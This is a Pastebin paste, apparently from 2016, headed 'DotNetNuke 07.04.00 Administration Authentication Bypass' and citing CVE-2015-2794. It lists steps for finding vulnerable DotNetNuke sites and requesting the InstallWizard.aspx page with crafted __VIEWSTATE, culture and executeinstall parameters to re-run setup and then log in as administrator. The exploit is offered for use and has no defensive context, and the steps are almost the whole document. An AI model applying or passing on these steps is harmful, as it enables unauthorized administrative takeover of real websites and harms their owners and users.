API tools faq
paste
3xploit3r

DotNetNuke 07.04.00 Administration Authentication Bypass

3xploit3r
Aug 19th, 2016
206
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
raw download clone embed print report diff
  1. # Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
  2. # CVE: CVE-2015-2794
  3. Step 1: find Dotnetnuke ver 07.04.00
  4. Step 2: /Install/InstallWizard.aspx?__VIEWSTATE=
  5. Step 3: Fill all infor
  6. Step 4: CLick continue if it don't work, just add &culture=en-US&executeinstall
  7. or you get any error ex: 500,... just removing __VIEWSTATE=
  8. Install/InstallWizard.aspx?culture=en-US&executeinstall
  9. Step 5: Login /Home/tabid/36/ctl/Login/Default.aspx
  10. -> This Exploit work on 2013,2014,2015 version!
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!